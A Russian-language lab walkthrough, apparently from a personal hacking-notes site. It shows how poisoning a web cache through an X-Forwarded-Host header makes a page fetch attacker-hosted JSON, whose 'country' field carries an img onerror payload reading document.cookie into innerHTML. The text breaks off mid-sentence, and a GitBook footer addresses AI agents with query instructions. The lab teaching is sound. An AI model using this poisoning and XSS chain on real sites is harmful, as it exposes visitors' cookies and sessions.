> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md).

# Отравление кэша для эксплуатации DOM XSS со строгим кэшем

### Отравление веб-кэша для эксплуатации DOM-уязвимости через кэш со строгими критериями кэшируемости

#### Цель лабораторной работы

Мы должны **отравить кэш** чтобы посетитель домашней страницы выполнил **`alert(document.cookie)`** через **DOM-уязвимость**.

#### Наблюдения

* Страница отображает информацию о доставке по странам (например, Великобритания).
* Мы находим **`geolocate.js`** скрипт, который строит DOM из JSON.

<figure><img src="/files/dc11bc692d85adb024069af004c6cbabc33d3ba3" alt=""><figcaption></figcaption></figure>

#### Анализ клиентской логики

В **`geolocate.js`** мы видим функцию следующего вида:

* Она делает `fetch(jsonUrl)`
* Затем он получает `j.country`
* И она делает: **`div.innerHTML = 'Бесплатная доставка в ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Бесплатная доставка в ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

Загружаемый по умолчанию JSON:

**`/resources/json/geolocate.json`**

```json
{
    "country": "Великобритания"
}
```

<figure><img src="/files/69ca1d268b7827436896c577ff1c3dfcb50b9167" alt=""><figcaption></figcaption></figure>

На главной странице URL JSON формируется следующим образом:

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="/files/469ddc3441523edde6ab3b08291c7e9f9fff86aa" alt=""><figcaption></figcaption></figure>

#### Полезная точка внедрения (отравление кэша)

Мы замечаем, что если добавить заголовок вроде:

* `X-Forwarded-Host: test.com`<br>

Тогда **значение отражается** в `data.host`, что затем влияет на URL, передаваемый в `initGeoLocate()`.

#### Размещение нашего JSON на сервере эксплойта

На нашем **сервере эксплойта**, мы создаём JSON-файл (простой пример):

```json
{
  "country": "Андорра"
}
```

<figure><img src="/files/506e74affef6a824db3162df4503bff14b3a30cc" alt=""><figcaption></figcaption></figure>

Затем мы отправляем запрос к корню со следующим:

* `X-Forwarded-Host: <notre-exploit-server>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

Сначала это **не загружается** из-за проблемы **CORS** (нет `Access-Control-Allow-Origin`).

<figure><img src="/files/ea6b36f34387525379a9642a222dd6b3d47b19c2" alt=""><figcaption></figcaption></figure>

Поэтому мы добавляем в ответ с сервера эксплойта:

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

После этого удалённый JSON загружается корректно.

<figure><img src="/files/c08322f573f892c30256bb1a2b61b93c024749cc" alt=""><figcaption></figcaption></figure>

#### Инъекция XSS через JSON (DOM XSS)

Затем мы заменяем содержимое JSON полезной нагрузкой, например:

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

По мере того как `j.country` внедряется в `innerHTML`, браузер интерпретирует наш HTML, и \*\*l

<figure><img src="/files/7ae846a18d0f43f949fcbce4c0b4c5a72e6803c0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
